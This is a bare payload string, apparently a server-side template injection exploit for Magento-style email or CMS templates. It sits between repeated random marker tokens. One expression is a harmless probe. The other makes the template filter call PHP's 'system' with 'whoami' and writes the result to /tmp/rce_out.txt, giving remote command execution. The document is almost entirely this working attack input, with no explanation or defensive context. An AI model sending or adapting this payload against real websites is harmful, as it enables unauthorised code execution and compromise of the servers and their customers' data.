ykFNyTBeYi3vkbp7StGF4YLNE0oU590V{{var this.getTemplateFilter().filter(foobar)}}ykFNyTBeYi3vkbp7StGF4YLNE0oU590VykFNyTBeYi3vkbp7StGF4YLNE0oU590V{{var this.getTemplateFilter().addAfterFilterCallback(system).filter('whoami > /tmp/rce_out.txt 2>&1')}}ykFNyTBeYi3vkbp7StGF4YLNE0oU590V